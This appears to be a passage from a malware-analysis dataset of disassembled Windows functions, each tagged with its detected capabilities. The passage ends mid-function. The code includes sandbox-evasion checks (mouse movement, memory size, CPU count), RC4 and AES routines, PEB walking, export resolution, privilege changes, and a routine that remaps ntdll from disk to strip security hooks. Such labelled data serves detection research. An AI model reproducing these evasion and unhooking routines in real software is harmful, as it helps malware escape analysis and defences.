joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005a40]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002520
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002550
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002b90
Capabilities:
Get local ipv4 addresses

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rbp, qword [0x140005b10]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rbp]
mov qword [rsp + 0x48], rax
xor eax, eax
lea rsi, [rsp + 0x3c]
xor eax, eax
mov rdi, rcx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov dword [rsp + 0x3c], eax
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
je 0x140002bda
xor eax, eax
jmp 0x140002c5c
mov edx, dword [rsp + 0x3c]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
mov rbx, rax
je 0x140002bd3
mov qword [rsp + 0x20], rsi
mov r9, rax
xor r8d, r8d
xor edx, edx
lea r12, [rsp + 0x42]
xor ecx, ecx
mov rsi, rbx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp dword [rsi + 0x58], 6
jne 0x140002c45
mov eax, dword [rsi + 0x50]
mov r8d, 3
mov rdx, r12
mov rcx, rdi
mov dword [rsp + 0x42], eax
mov ax, word [rsi + 0x54]
mov word [rsp + 0x46], ax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x140002c45
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
jmp 0x140002c5c
mov rsi, qword [rsi + 8]
test rsi, rsi
jne 0x140002c0d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002bd3
mov rdx, qword [rsp + 0x48]
sub rdx, qword [rbp]
je 0x140002c6c
call fcn.140002520
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002d10
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push rsi
push rbx
sub rsp, 0x48
mov rbx, qword [0x140005b10]
mov rsi, qword [sym.imp.USER32.dll_GetCursorPos]
mov rax, qword [rbx]
mov qword [rsp + 0x38], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call rsi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call rsi
mov edx, dword [rsp + 0x30]
xor eax, eax
cmp dword [rsp + 0x28], edx
jne 0x140002d5e
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x2c], eax
sete al
mov rdx, qword [rsp + 0x38]
sub rdx, qword [rbx]
je 0x140002d6d
call fcn.140002520
add rsp, 0x48
pop rbx
pop rsi
ret
Function at 0x140002d80
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x160
mov rdi, qword [0x140005b10]
xor edx, edx
mov rax, qword [rdi]
mov qword [rsp + 0x158], rax
xor eax, eax
mov rsi, rcx
mov ecx, 2
mov dword [rsp + 0x28], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rbp, [rsp + 0x28]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
lea r12, [rsp + 0x54]
test eax, eax
jne 0x140002dd8
xor eax, eax
jmp 0x140002dfa
mov rdx, rbp
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140002dd4
mov rdx, rsi
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll__stricmp
test eax, eax
jne 0x140002dd8
mov eax, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x158]
sub rdx, qword [rdi]
je 0x140002e0c
call fcn.140002520
add rsp, 0x160
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002e20
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, qword [0x140005b10]
mov rax, qword [rbx]
mov qword [rsp + 0x58], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x48], 1
setbe al
mov rdx, qword [rsp + 0x58]
sub rdx, qword [rbx]
je 0x140002e58
call fcn.140002520
add rsp, 0x60
pop rbx
ret

Function at 0x140002e60
Capabilities:
Get local ipv4 addresses

Disassembly:
sub rsp, 0x28
lea rcx, [0x140005090]
call fcn.140002b90
test al, al
jne 0x140002ed4
lea rcx, [0x140005094]
call fcn.140002b90
test al, al
jne 0x140002ed4
lea rcx, [0x140005098]
call fcn.140002b90
test al, al
jne 0x140002ed4
lea rcx, [0x14000509c]
call fcn.140002b90
test al, al
jne 0x140002ed4
lea rcx, [0x1400050a0]
call fcn.140002b90
test al, al
jne 0x140002ed4
lea rcx, [0x1400050a4]
call fcn.140002b90
test al, al
jne 0x140002ed4
lea rcx, [0x1400050a8]
add rsp, 0x28
jmp fcn.140002b90
mov al, 1
add rsp, 0x28
ret

Function at 0x140002ee0
Capabilities:
Get memory capacity

Disassembly:
push rbx
sub rsp, 0x70
mov rbx, qword [0x140005b10]
mov rax, qword [rbx]
mov qword [rsp + 0x68], rax
xor eax, eax
mov dword [rsp + 0x28], 0x40
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x30], 0x7fffffff
setbe al
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rbx]
je 0x140002f24
call fcn.140002520
add rsp, 0x70
pop rbx
ret
Function at 0x140003230
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x140005b10]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x14000327b
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002b00
cmp rsi, 0x100
jne 0x1400032a5
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140003335
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002b00
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x1400032e0
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140003347
call fcn.140002520
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1400034f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov rax, qword [0x140005b10]
mov rdi, qword [rax]
mov qword [rsp + 0x98], rdi
xor edi, edi
lea rdi, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 6
mov qword [rsp + 0x58], rax
xor eax, eax
rep stosd dword [rdi], eax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
mov qword [rsp + 0x48], rax
je 0x1400036b4
mov rcx, qword [rsp + 0x58]
mov r9d, 0x18
mov rdx, rax
lea r8, [rsp + 0x80]
call sub.KERNEL32.dll_K32GetModuleInformation
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x30], rcx
mov edx, 0x80000000
mov r12, qword [rsp + 0x80]
mov dword [rsp + 0x28], r8d
lea rcx, str.C:WindowsSystem32_ntdll.dll
mov r8d, 1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
xor r10d, r10d
xor edx, edx
mov qword [rsp + 0x28], r9
mov r8d, 0x1000002
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test rax, rax
mov qword [rsp + 0x50], rax
je 0x1400036b4
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rax
mov edx, 4
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rbp, dword [r12 + 0x3c]
mov r14, rax
add rbp, r12
lea r15, [rbp + 0x18]
cmp r13w, word [rbp + 6]
jae 0x14000368d
movzx r10d, word [rbp + 0x14]
lea rdx, str..text
movzx eax, r13w
imul rax, rax, 0x28
add r10, r15
lea rbx, [r10 + rax]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140003685
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x7c]
xor eax, eax
mov r8d, 0x40
mov edx, dword [rbx + 8]
mov qword [rsp + 0x68], r9
mov dword [rsp + 0x7c], eax
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [rbx + 0xc]
mov ecx, dword [rbx + 8]
mov r9, qword [rsp + 0x68]
lea rax, [r12 + rsi]
add rsi, r14
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov r8d, dword [rsp + 0x7c]
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r13d
jmp 0x140003607
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call rsi
mov rcx, qword [rsp + 0x60]
call rsi
mov rcx, qword [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140005b10]
mov rdi, qword [rsp + 0x98]
sub rdi, qword [rax]
je 0x1400036ce
call fcn.140002520
nop
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400036f0
Capabilities:
Access peb ldr_data

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rbx, qword [rax + 0x20]
mov rsi, rcx
test rbx, rbx
je 0x140003733
cmp word [rbx + 0x48], 0
je 0x140003731
mov rcx, qword [rbx + 0x50]
mov rdx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsicmp
test eax, eax
jne 0x14000372c
mov rbx, qword [rbx + 0x20]
jmp 0x140003733
mov rbx, qword [rbx]
jmp 0x14000370a
xor ebx, ebx
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x140003740
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor eax, eax
cmp word [rcx], 0x5a4d
mov rbx, rcx
mov rbp, rdx
jne 0x1400037c1
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400037c1
mov edi, dword [rdx + 0x88]
xor esi, esi
add rdi, rcx
mov r12d, dword [rdi + 0x20]
mov r13d, dword [rdi + 0x14]
add r12, rcx
cmp esi, r13d
jae 0x1400037bf
mov edx, dword [r12 + rsi*4]
mov rcx, rbp
add rdx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov edx, eax
lea rax, [rsi + 1]
test edx, edx
jne 0x1400037ba
mov eax, dword [rdi + 0x24]
add rsi, rsi
add rsi, rbx
movzx edx, word [rsi + rax]
mov eax, dword [rdi + 0x1c]
lea rdx, [rbx + rdx*4]
mov eax, dword [rdx + rax]
add rax, rbx
jmp 0x1400037c1
mov rsi, rax
jmp 0x140003780
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x140018b40
Capabilities:
Get hostname

Disassembly:
sub rsp, 0x48
mov rax, qword [0x14009b090]
xor rax, rsp
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
mov dword [rsp + 0x20], socket
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
movups xmmword [rsp + 0x28], xmm0
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ecx, dword [rsp + 0x20]
inc ecx
call fcn.140052990
lea rdx, [rsp + 0x28]
mov r8, rax
sub r8, rdx
lea rcx, [rsp + 0x28]
nop
movzx edx, byte [rcx]
mov byte [r8 + rcx], dl
lea rcx, [rcx + 1]
test dl, dl
jne 0x140018b90
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140052440
add rsp, 0x48
ret
Function at 0x140018bc0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r14
lea rbp, [rsp - 0x3f]
sub rsp, 0x98
xor r14d, r14d
mov qword [rsp + 0x90], rbx
mov esi, r14d
mov qword [rsp + 0x30], r14
lea rcx, str..pipeComputeShareManagement
mov dword [rsp + 0x28], 0x40000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140018d7f
call fcn.14005f2cc
mov r8d, eax
mov qword [rbp - 0x11], r14
mov eax, 0x214d0215
xor r9d, r9d
imul r8d
xorps xmm0, xmm0
movdqu xmmword [rbp - 9], xmm0
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x7b
lea edx, [r9 + 1]
sub r8d, ecx
xor ecx, ecx
inc r8d
mov dword [rbp + 0x77], r8d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 7], rax
lea r9, [rbp - 0x19]
lea rax, [rbp - 0x11]
mov r8d, 4
lea rdx, [rbp + 0x77]
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 7]
mov edx, 0xbb8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov dword [rbp + 0x67], r14d
lea r8, [rbp + 0x67]
mov rcx, rdi
lea rdx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x140018d5f
cmp dword [rbp + 0x67], 4
jne 0x140018d5f
xor r9d, r9d
mov qword [rbp + 0xf], r14
xorps xmm0, xmm0
mov dword [rbp + 0x7f], r14d
xor r8d, r8d
xor ecx, ecx
movdqu xmmword [rbp + 0x17], xmm0
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 0x27], rax
lea r9, [rbp - 0x15]
lea rax, [rbp + 0xf]
mov r8d, 4
lea rdx, [rbp + 0x7f]
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rbp + 0x27]
mov edx, 0xbb8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov dword [rbp + 0x6f], r14d
lea r8, [rbp + 0x6f]
mov rcx, rdi
lea rdx, [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x140018d56
cmp dword [rbp + 0x6f], 4
jne 0x140018d56
mov eax, dword [rbp + 0x77]
imul eax, eax
cmp dword [rbp + 0x7f], eax
jne 0x140018d43
mov ebx, r14d
jmp 0x140018d70
lea rcx, str.MESSAGECRC_error_reading_from_management_service_
call fcn.140019dd0
mov ebx, reloc.WS2_32.dll_socket
jmp 0x140018d70
lea rcx, str.MESSAGETimed_out_reading_from_management_service
jmp 0x140018d66
lea rcx, str.MESSAGETimed_out_writing_to_management_service_
call fcn.140019dd0
mov ebx, 0x102
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140018dbc
jmp 0x140018d84
mov ebx, 0xe9
lea rcx, str.MESSAGEImmediately_exiting_due_to_failure_with_management_service
call fcn.140019dd0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x140018be0
test ebx, ebx
je 0x140018dbc
lea rcx, str.MESSAGEImmediately_exiting_due_to_failure_with_management_service
call fcn.140019dd0
mov dword [0x1403280c4], ebx
mov rbx, qword [rsp + 0x90]
add rsp, 0x98
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001f310
Capabilities:
Manipulate user privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rbp, rdx
mov rsi, rcx
xor r14d, r14d
cmp qword [0x14032c9c8], r14
jne 0x14001f49e
test rdx, rdx
je 0x14001f49e
call fcn.14001ef20
test eax, eax
jne 0x14001f49e
mov ebx, r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0xb8]
lea edx, [r14 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14001f49e
mov dword [rsp + 0xb0], r14d
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 1]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r9d, dword [rsp + 0xb0]
test r9d, r9d
je 0x14001f3c9
mov edx, r9d
lea ecx, [r14 + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov r9d, dword [rsp + 0xb0]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov edx, 1
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14001f49e
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
mov edi, r14d
lea r9, [rsp + 0x30]
mov r8d, 0xf0fff
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
jne 0x14001f48c
lea rax, str.SeLockMemoryPrivilege
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0x2c002a
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov r9d, 1
lea r8, [rsp + 0x40]
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
test eax, eax
jne 0x14001f481
lea rcx, str.MESSAGELOCK_PAGES_REBOOT_REQUIRED
call fcn.140019dd0
mov edi, 1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_LsaClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
test edi, edi
je 0x14001f49e
call fcn.14001ef20
mov ecx, 0x28
call fcn.140052460
mov rbx, rax
mov qword [rsp + 0xb0], rax
lea rax, [0x14008e488]
mov qword [rbx], rax
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov qword [rbx + 0x20], r14
test rsi, rsi
je 0x14001f549
mov ecx, 0x28
call fcn.140052460
mov rdi, rax
mov qword [rsp + 0xb8], rax
shl rsi, 0x15
lea rcx, [rsi + 0xffffff]
and rcx, 0xffffffffffe00000
add rcx, 0x200000
mov qword [rax], rcx
mov dword [rax + 8], r14d
mov qword [rax + 0x10], rcx
xor eax, eax
mov dword [rdi + 0x18], eax
mov qword [rdi + 0x20], r14
test rbp, rbp
je 0x14001f525
mov rcx, rdi
call fcn.14001efe0
test al, al
jne 0x14001f536
mov edx, 0x40
mov rcx, qword [rdi]
call fcn.14006144c
mov qword [rdi + 0x20], rax
mov qword [rbx + 0x20], rdi
mov eax, dword [rdi + 0x20]
neg rax
and eax, 0xffffff
mov qword [rbx + 0x18], rax
mov qword [0x14032c9c8], rbx
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140021d60
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x68
movdqa xmm2, xmmword [0x14008f1d0]
mov r10, rcx
movdqa xmm3, xmmword [0x14008f190]
mov rax, rcx
movdqa xmm4, xmmword [0x14008f1f0]
mov r11, r8
movdqa xmm5, xmmword [0x14008f140]
lea r8, [rcx + 0x1c00]
movdqu xmm0, xmmword [r9]
lea rcx, [rdx - 0x1c00]
movdqu xmm1, xmmword [r9 + 0x10]
add rcx, rax
movaps xmmword [rsp + 0x50], xmm6
mov edx, 2
movdqu xmm6, xmmword [r9 + 0x20]
movaps xmmword [rsp + 0x40], xmm7
movdqu xmm7, xmmword [r9 + 0x30]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x14008f1b0]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x14008f080]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x14008f0c0]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x14008f100]
nop
cmp rax, rcx
jae 0x140021eb3
nop dword [rax]
aesenc xmm2, xmmword [rax]
aesdec xmm3, xmmword [rax + 0x10]
aesenc xmm4, xmmword [rax + 0x20]
aesdec xmm5, xmmword [rax + 0x30]
aesenc xmm2, xmmword [rax + 0x40]
aesdec xmm3, xmmword [rax + 0x50]
aesenc xmm4, xmmword [rax + 0x60]
aesdec xmm5, xmmword [rax + 0x70]
aesdec xmm0, xmm8
movdqu xmmword [rax], xmm0
aesenc xmm1, xmm9
movdqu xmmword [rax + 0x10], xmm1
aesdec xmm6, xmm10
movdqu xmmword [rax + 0x20], xmm6
aesenc xmm7, xmm11
movdqu xmmword [rax + 0x30], xmm7
aesdec xmm0, xmm8
movdqu xmmword [rax + 0x40], xmm0
aesenc xmm1, xmm9
movdqu xmmword [rax + 0x50], xmm1
aesdec xmm6, xmm10
aesenc xmm7, xmm11
movdqu xmmword [rax + 0x60], xmm6
movdqu xmmword [rax + 0x70], xmm7
prefetcht0 byte [r8]
prefetcht0 byte [r8 + 0x40]
sub rax, 0xffffffffffffff80
lea r8, [r8 + 0x80]
cmp rax, rcx
jb 0x140021e10
add rcx, 0x1c00
mov r8, r10
sub rdx, 1
jne 0x140021e00
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
movdqu xmmword [r9], xmm0
movdqa xmm0, xmmword [0x14008f050]
movdqu xmmword [r9 + 0x10], xmm1
movdqa xmm1, xmmword [0x14008f200]
movdqu xmmword [r9 + 0x20], xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqu xmmword [r9 + 0x30], xmm7
movaps xmm7, xmmword [rsp + 0x40]
aesenc xmm2, xmm0
aesdec xmm3, xmm0
aesenc xmm4, xmm0
aesdec xmm5, xmm0
aesenc xmm2, xmm1
aesdec xmm3, xmm1
aesenc xmm4, xmm1
aesdec xmm5, xmm1
movdqu xmmword [r11], xmm2
movdqu xmmword [r11 + 0x10], xmm3
movdqu xmmword [r11 + 0x20], xmm4
movdqu xmmword [r11 + 0x30], xmm5
add rsp, 0x68
ret
Function at 0x14002ac40
Capabilities:
Hash data using sha512

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x14009b090]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x14002ad33
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x14002ad1a
xorps xmm0, xmm0
mov byte [rsp + 0x20], dil
xor edx, edx
mov word [rsp + 0x21], 0x100
mov r8d, 0xf0
mov byte [rsp + 0x23], 1
movups xmmword [rsp + 0x32], xmm0
mov dword [rsp + 0x24], 0
movups xmmword [rsp + 0x42], xmm0
mov word [rsp + 0x30], 0
call fcn.140054d70
movaps xmm0, xmmword [0x14008c660]
mov rax, qword [rsp + 0x20]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x14008c670]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x14008c680]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x14008c690]
movups xmmword [rbx + 0x30], xmm1
xor qword [rbx], rax
mov rax, qword [rsp + 0x30]
xor qword [rbx + 0x10], rax
mov rax, qword [rsp + 0x38]
xor qword [rbx + 0x18], rax
mov rax, qword [rsp + 0x40]
xor qword [rbx + 0x20], rax
mov rax, qword [rsp + 0x48]
xor qword [rbx + 0x28], rax
xor qword [rbx + 8], 0
movzx eax, dil
mov dword [rbx + 0xe4], eax
xor eax, eax
jmp 0x14002ad38
cmp byte [rcx + 0xe8], 0
je 0x14002ad2b
mov qword [rcx + 0x58], 0xffffffffffffffff
mov qword [rcx + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140052440
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret
Function at 0x14002f980
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x68
movdqa xmm4, xmmword [0x14032c5e0]
lea rax, [rcx + 0x40]
mov ecx, dword [0x14032c55c]
movdqa xmm5, xmmword [0x14032c5f0]
movdqu xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
lea r8d, [rcx*8 + 0x80]
movdqu xmm3, xmmword [rdx + 0x30]
add r8, rax
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x14032c600]
movaps xmmword [rsp + 0x40], xmm7
movdqa xmm7, xmmword [0x14032c610]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x14032c620]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x14032c630]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x14032c640]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x14032c650]
cmp rax, r8
jae 0x14002fa94
nop word [rax + rax]
aesdec xmm0, xmm4
aesenc xmm1, xmm4
aesdec xmm2, xmm8
aesenc xmm3, xmm8
aesdec xmm0, xmm5
aesenc xmm1, xmm5
aesdec xmm2, xmm9
aesenc xmm3, xmm9
aesdec xmm0, xmm6
aesenc xmm1, xmm6
aesdec xmm2, xmm10
aesenc xmm3, xmm10
aesdec xmm0, xmm7
aesenc xmm1, xmm7
aesdec xmm2, xmm11
aesenc xmm3, xmm11
movdqu xmmword [rax], xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x30], xmm3
add rax, 0x40
cmp rax, r8
jb 0x14002fa20
movaps xmm6, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
add rsp, 0x68
ret
Function at 0x140035f40
Capabilities:
Delete service
Stop service

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14009b090]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
mov rcx, qword [rcx + 8]
cmp rcx, 0xffffffffffffffff
je 0x140035f68
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
jne 0x140035f86
mov al, 1
mov rcx, qword [rsp + 0x40]
